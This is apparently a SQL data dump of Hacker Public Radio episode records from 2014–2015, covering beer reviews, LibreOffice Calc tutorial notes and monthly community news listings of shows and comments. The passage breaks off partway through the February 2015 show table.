(1627,'2014-10-28','5150 Shades of Beer: 0001 He\'Brew Hops Selection from Smaltz Brewing Company',943,'Beer, drinking same','<p>\r\nSmaltz Brewing Company -  He\'Brew (The Chosen Beer) Hops Collection\r\n</p>\r\n<p>\r\nDavid\'s Slingshot - Pours golden, like an American lager, large head that subsides, rye aroma. Blend of multi-grain malts,  an emphasis on hops w/o being excessively hoppy.  Citrus taste from the hops. Malts: Specialist 2-row, Carmel Pils, Rye Ale, Crystal Rye, Vienna, Wheat, Flaked Oats Hops: Cascade, SAAZ, Summit, Citra, Crystal\r\n</p>\r\n<p>\r\nGenesis  Dry, so dry you could be excused for wanting a glass of water to go with your beer. Bready, not biscuity, like a fresh sourdough loaf, almost makes you want to spread butter over your beer.  Just enough hops to be interesting rather than annoying.  Just a little sweet on the back end, so subtle you\'ll likely miss it on the first sip.  Watery mouth feel. 5.5% ACL. Malts: Specialty 2-row, Munich, Core Munich 40, Wheat, Dark Crystal  Hops: Warrior, Centennial, Cascade, Simcoe\r\n</p>\r\n<p>\r\nBittersweet Lenny\'s R.I.P.A. Double Rye (an ode to comedian Lenny Bruce).   Pours very dark amber, small head.   Aroma of sweet rye bread.  Sweet honey taste w/o being cloying, washed away by the hops.  Strong rye flavor, much more than Slingshot.  Malts: 2-row, Rye Ale Malt, Torrified Rye, Crystal Rye 75, Crystal Malt 80, Wheat, Kiln Amber, Core Munich 60  Hops: Warrior, Cascade, Simcoe, Saaz, Crystal, Chinook, Amarillo, Centennial\r\n</p>\r\n<p>\r\nHop Manna IPA  Pours medium amber with a good head.  Little distinct aroma.  For the hops enthusiast who doesn\'t want other flavors getting in the way, but still not so hoppy that the hops get in the way of the hops.  Hoppy enough  to satisfy most hops heads without making your tongue feel like it is under assault from the Hop High Command.  Malt: Specialty 2-row, Wheat, Munich, Vienna, Core Munich 60  HOPS: Warior, Cascade, Citra, Amarillo, Crystal, Centennial  Dry Hop:  Centennial, Cascade, Citra\r\nEven though hoppy beers aren\'t my preference, Smaltz/He\'Brew were 4 out of 4 winners.  If you see this brand, grab it with both hands.  Even if I hated the beer, I\'d be a fan because each bottle lists the malts and hops,  giving the home brewer a shot at replicating the brew and the expert consumer a hint of what the beer is going to taste like before purchasing.\r\n</p>',131,14,0,'CC-BY-SA','5150 Shades of Beer,beer,ale',0,0,1),
(1632,'2014-11-04','5150 Shades of Beer: 0002 Wichita Brewing Company',3084,'Beer, drinking same part 2','<ul>\r\n  <li><a href=\"https://www.freddysusa.com/\">https://www.freddysusa.com/</a> Now I\'ll hear from Freddy\'s lawyers</li>\r\n  <li><a href=\"https://wichitabrew.com\">https://wichitabrew.com</a> Tyler and 13th - Go There!</li>\r\n  <li><a href=\"https://www.ripsneakers.com/nodding/\">https://www.ripsneakers.com/nodding/</a> The brew pub tlkg took us too</li>\r\n  <li><a href=\"https://www.readingterminalmarket.org/\">https://www.readingterminalmarket.org/</a> Not mentioned in this prodcast, but if you ever find yourself in Philly, for the love of all that you find holy, spend a good part of your time here. You will thank me.</li>\r\n </ul>\r\n <p><img alt=\"beer\" width=\"80%\" src=\"https://hackerpublicradio.org/eps/hpr1632.jpg\" /></p>',131,14,0,'CC-BY-SA','5150 Shades of Beer, beer, Wichita, fire',0,0,1),
(1695,'2015-01-30','46 - LibreOffice Calc - The Object Model and Using Templates',1520,'Ubderstanding the Object Model and how Templates work. ','<p>\r\nAs I said in the last tutorial, Templates can be understood as a container for a number of settings, most particularly Styles. This follows the object model, which is a lot like those Russian dolls inside of each other. The File for your spreadsheet is an object, and it contains individual Sheets which are objects. Each Sheet contains Cells which are objects. And each Cell contains various Characters which are objects, which can be used to represent numbers, formulas, addresses, labels, etc. Objects exhibit two features we always want to keep in mind. First, objects have properties that are particular to the kind of object. The properties of a file might include who the author is, where the file resides on the system, any access restrictions (like making the file password-protected), and so on. \r\n</p>\r\n<p>\r\nThe properties of each sheet might include things like the name of the sheet, the orientation (landscape vs. portrait), headers and footers, etc. Then the properties of the cell might include the type of cell and how \r\nit is formatted (text, currency, general number, etc.). And finally the properties of the Character include the font family, font style, font size, and so on.\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://extensions.libreoffice.org/\">https://extensions.libreoffice.org/</a>\r\n</li>\r\n<li><a href=\"https://extensions.openoffice.org/en/project/professional-template-pack-english\">https://extensions.openoffice.org/en/project/professional-template-pack-english</a>\r\n</li>\r\n<li><a href=\"https://extensions.openoffice.org/en/project/professional-template-pack-ii-english\">https://extensions.openoffice.org/en/project/professional-template-pack-ii-english</a>\r\n</li>\r\n<li><a href=\"https://templates.libreoffice.org/template-center/account-id-management\">https://templates.libreoffice.org/template-center/account-id-management</a>\r\n</li>\r\n<li><a href=\"https://templates.libreoffice.org/template-center/gantt-chart-template\">https://templates.libreoffice.org/template-center/gantt-chart-template</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=953\">https://www.ahuka.com/?page_id=953</a>\r\n<p></p>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, Objects, Templates',0,0,1),
(1715,'2015-02-27','48 - LibreOffice Calc - Cell Styles',897,'How to use Cell Styles to control the appearance of your cells.','<p>\r\nOur next topic is Cell Styles. If you are already familiar with Styles from Writer, think of Cell Styles as the equivalent of Writers Paragraph Styles. Just as a single Writer document can have a variety of Paragraph Styles applied to different paragraphs (e.g. Headings, Lists, Paragraphs), a single spreadsheet can have multiple Cell Styles. And the same arguments for using Styles also apply. If you have consistently used Cell Styles in your spreadsheet, you can update the appearance easily just by changing the Style instead of needing to go through the file looking for every cell that needs to be adjusted. And by using Styles you can apply a large number of formatting choices to many cells with just a few mouse clicks. So it really does pay to learn how to use Cell Styles.\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/?page_id=973\">https://www.ahuka.com/?page_id=973</a>\r\n<p></p>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, Cells, Styles',0,0,1),
(1705,'2015-02-13','47 - LibreOffice Calc - Page Styles and Page Settings',1234,'How to control the overall appearance of a worksheet using Page Styles and Page Settings.','<p>\r\nPage Styles in LibreOffice Calc set the properties for entire sheets of your workbook file. In any given Template you can have different sheets with different Page Styles if you wish, but for any given sheet you can only have one Page Style. And dont be confused by the difference between a sheet in the file and a page when printed. One single sheet may take many physical pages to print, but it is all one sheet and it is all governed by a single Page Style.\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/?page_id=961\">https://www.ahuka.com/?page_id=961</a>\r\n<p></p>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, Sheets, Styles',0,0,1),
(1725,'2015-03-13','49 - LibreOffice Calc - Creating a Template with Styles',838,'We create Template (recording Billable Time) using Styles to illustrate the usage.','<p>\r\nThe last few tutorials have looked at the techniques you need to master to use Styles and Templates effectively, but putting these into practice is essential to understanding them, I believe. So it is time for us to actually built a Template that incorporates a few styles and put the whole package together. For my example, I am going to create something useful for a consultant who needs to keep track of time for billing customers.\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/?page_id=961\">https://www.ahuka.com/?page_id=961</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/wp-content/uploads/2014/08/Billable-Time.zip\">https://www.ahuka.com/wp-content/uploads/2014/08/Billable-Time.zip</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1075\">https://www.ahuka.com/?page_id=1075</a>\r\n</li>\r\n</ul>\r\n',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, Styles, Templates',0,0,1),
(1637,'2014-11-11','Communities Are Made of People',2804,'Zuckerberg, Facebook, friends having you back','<p><a href=\"https://facebook.com\">https://facebook.com</a></p>',131,0,0,'CC-BY-SA','Zuckerberg, Facebook, friends having you back',0,0,1),
(1696,'2015-02-02','HPR Community News for January 2015',3651,'Live community recording from FOSDEM 2015.','<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new hosts: <br />\r\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\">Rho`n</a>, \r\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=294\">daw</a>, \r\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=295\">Cibola Jerry</a>.\r\n</p>\r\n\r\n<h2>Last Month\'s Shows</h2>\r\n<table id=\"t01\">\r\n    <tr>\r\n    <th align=\"left\">Id</th>\r\n    <th align=\"left\">Date</th>\r\n    <th align=\"left\">Title</th>\r\n    <th align=\"left\">Host</th>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1674\">1674</a></strong></td>\r\n    <td align=\"left\">2015-01-01</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1674\">New Year Show Part 1 of 8</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1675\">1675</a></strong></td>\r\n    <td align=\"left\">2015-01-02</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1675\">New Year Show Part 2 of 8</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1676\">1676</a></strong></td>\r\n    <td align=\"left\">2015-01-05</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1676\">HPR Community News for December 2014</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1677\">1677</a></strong></td>\r\n    <td align=\"left\">2015-01-06</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1677\">New Year Show Part 4 of 8</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1678\">1678</a></strong></td>\r\n    <td align=\"left\">2015-01-07</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1678\">New Year Show Part 5 of 8</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1679\">1679</a></strong></td>\r\n    <td align=\"left\">2015-01-08</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1679\">New Year Show Part 6 of 8</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1680\">1680</a></strong></td>\r\n    <td align=\"left\">2015-01-09</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1680\">New Year Show Part 7 of 8</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1681\">1681</a></strong></td>\r\n    <td align=\"left\">2015-01-12</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1681\">New Year Show Part 8 of 8</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1682\">1682</a></strong></td>\r\n    <td align=\"left\">2015-01-13</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1682\">Introduction to the Netizen Empowerment Federation</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=294\">daw</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1683\">1683</a></strong></td>\r\n    <td align=\"left\">2015-01-14</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1683\">Theater of the Imagination: Part 06</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\">lostnbronx</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1684\">1684</a></strong></td>\r\n    <td align=\"left\">2015-01-15</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1684\">5150 Shades of Beer Jacob Leinenkugels Winter Explorer Pack</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\">FiftyOneFifty</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1685\">1685</a></strong></td>\r\n    <td align=\"left\">2015-01-16</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1685\">45 - LibreOffice Calc - Styles and Templates Introduced</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1686\">1686</a></strong></td>\r\n    <td align=\"left\">2015-01-19</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1686\">Interview with Joel Gibbard of OpenHand</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=240\">Steve Bickle</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1687\">1687</a></strong></td>\r\n    <td align=\"left\">2015-01-20</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1687\">Podcast recommendations</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\">Thaj Sara</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1688\">1688</a></strong></td>\r\n    <td align=\"left\">2015-01-21</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1688\">Some useful tools when compiling software</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\">Rho`n</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1689\">1689</a></strong></td>\r\n    <td align=\"left\">2015-01-22</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1689\">Linux Voice magazine at OggCamp</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\">beni</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1690\">1690</a></strong></td>\r\n    <td align=\"left\">2015-01-23</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1690\">Arduino 101 Breadboard</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1691\">1691</a></strong></td>\r\n    <td align=\"left\">2015-01-26</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1691\">Arduino 101 Arduino IO</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1692\">1692</a></strong></td>\r\n    <td align=\"left\">2015-01-27</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1692\">Boulevard Brewing Company \"Sample Twelve\"</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\">FiftyOneFifty</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1693\">1693</a></strong></td>\r\n    <td align=\"left\">2015-01-28</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1693\">DD fun</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=295\">Cibola Jerry</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1694\">1694</a></strong></td>\r\n    <td align=\"left\">2015-01-29</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1694\">My APOD downloader</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></td>\r\n    </tr>\r\n    <tr valign=\"top\">\r\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1695\">1695</a></strong></td>\r\n    <td align=\"left\">2015-01-30</td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1695\">46 - LibreOffice Calc - The Object Model and Using Templates</a></td>\r\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\r\n    </tr>\r\n</table>\r\n\r\n<h2>Comments this month</h2>\r\n\r\n<p>There are 17 comments:</p>\r\n<ul> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1693\">hpr1693</a></strong>\r\n(2015-01-28) \"<em>DD fun</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=295\">Cibola Jerry</a>.\r\n<ol>\r\n<li>Dave on 2015-01-29:\"Great tutorial\"</li>\r\n<li>incandenza on 2015-01-29:\"My favorite so far\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1691\">hpr1691</a></strong>\r\n(2015-01-26) \"<em>Arduino 101 Arduino IO</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a>.\r\n<ol>\r\n<li>mcnalu on 2015-01-27:\"Arduislack\"</li>\r\n<li>archer72 on 2015-01-29:\"[no title]\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1690\">hpr1690</a></strong>\r\n(2015-01-23) \"<em>Arduino 101 Breadboard</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a>.\r\n<ol>\r\n<li>Mike Ray on 2015-01-22:\"3v3\"</li>\r\n<li>Tcuc on 2015-01-23:\"Nice, great quality :-) \"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1683\">hpr1683</a></strong>\r\n(2015-01-14) \"<em>Theater of the Imagination: Part 06</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\">lostnbronx</a>.\r\n<ol>\r\n<li>Epicanis on 2015-01-22:\"Timely information!\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1673\">hpr1673</a></strong>\r\n(2014-12-31) \"<em>How I use ZFS on Linux</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=292\">Michal Cieraszynski</a>.\r\n<ol>\r\n<li>Klaatu on 2015-01-07:\"great episode!\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1672\">hpr1672</a></strong>\r\n(2014-12-30) \"<em>Systemd for Learner Drivers </em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=284\">Steve Smethurst</a>.\r\n<ol>\r\n<li>Steve Smethurst on 2015-01-04:\"Correction\"</li>\r\n<li>Alison Chaiken on 2015-01-04:\"Thanks for informative episode\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1667\">hpr1667</a></strong>\r\n(2014-12-23) \"<em>How to start a Blog</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=291\">Rill</a>.\r\n<ol>\r\n<li>Rill on 2014-12-31:\"T for the tip.hanks\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1665\">hpr1665</a></strong>\r\n(2014-12-19) \"<em>44 - LibreOffice Calc - Working With Pivot Tables</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a>.\r\n<ol>\r\n<li>Steve Bickle on 2015-01-18:\"What version of LibreOffice was the example created in?\"</li>\r\n<li>Steve Bickle on 2015-01-18:\"Last comment really belongs on ep 1655\"</li>\r\n<li>Kevin O\'Brien on 2015-01-19:\"LibreOffice Version\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1660\">hpr1660</a></strong>\r\n(2014-12-12) \"<em>Trying out Slackware</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\">beni</a>.\r\n<ol>\r\n<li>Klaatu on 2015-01-07:\"slacker\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1654\">hpr1654</a></strong>\r\n(2014-12-04) \"<em>Using AS numbers to identify where you are on the Internet</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a>.\r\n<ol>\r\n<li>Klaatu on 2015-01-07:\"Very informative\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1643\">hpr1643</a></strong>\r\n(2014-11-19) \"<em>Unison Syncing Utility</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\">FiftyOneFifty</a>.\r\n<ol>\r\n<li>Ken Fallon on 2015-01-06:\"Workaround to my unison issues\"</li></ol>\r\n</li>\r\n</ul>\r\n\r\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1716,'2015-03-02','HPR Community News for February 2015',5292,'Dave and Ken host the Community News','<h2>New hosts</h2>\n <p>Welcome to our new hosts:<br /><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=296\">Kevie</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\">swift110</a>.</p>\n <h2>Last Month\'s Shows</h2>\n <table id=\"t01\">\n  <tr>\n   <th align=\"left\">Id</th>\n   <th align=\"left\">Date</th>\n   <th align=\"left\">Title</th>\n   <th align=\"left\">Host</th>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1696\">1696</a></strong></td>\n   <td align=\"left\">2015-02-02</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1696\">HPR Community News for January 2015</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1697\">1697</a></strong></td>\n   <td align=\"left\">2015-02-03</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1697\">FOSDEM 2015 Friday Night and Saturday Morning 1 of 5</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1698\">1698</a></strong></td>\n   <td align=\"left\">2015-02-04</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1698\">FOSDEM 2015 Part 2 of 5</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1699\">1699</a></strong></td>\n   <td align=\"left\">2015-02-05</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1699\">FOSDEM 2015 Part 3 of 5</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1700\">1700</a></strong></td>\n   <td align=\"left\">2015-02-06</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1700\">Today with a Techie episode two thousand</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1701\">1701</a></strong></td>\n   <td align=\"left\">2015-02-09</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1701\">FOSDEM 2015 Part 4 of 5</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1702\">1702</a></strong></td>\n   <td align=\"left\">2015-02-10</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1702\">FOSDEM 2015 Part 5 of 5</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1703\">1703</a></strong></td>\n   <td align=\"left\">2015-02-11</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1703\">Open Source CD Rippers</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=296\">Kevie</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1704\">1704</a></strong></td>\n   <td align=\"left\">2015-02-12</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1704\">Introducing Jeffrey Powers aka Geekazine</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=294\">daw</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1705\">1705</a></strong></td>\n   <td align=\"left\">2015-02-13</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1705\">47 - LibreOffice Calc - Page Styles and Page Settings</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1706\">1706</a></strong></td>\n   <td align=\"left\">2015-02-16</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1706\">Cross-compilers part 1</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\">Mike Ray</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1707\">1707</a></strong></td>\n   <td align=\"left\">2015-02-17</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1707\">A tour round my desktop</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\">Beeza</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1708\">1708</a></strong></td>\n   <td align=\"left\">2015-02-18</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1708\">GNU/Nano Editor</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\">JWP</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1709\">1709</a></strong></td>\n   <td align=\"left\">2015-02-19</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1709\">Hacking Your Teeth</a></td>\n   <td align=\"left\"><a 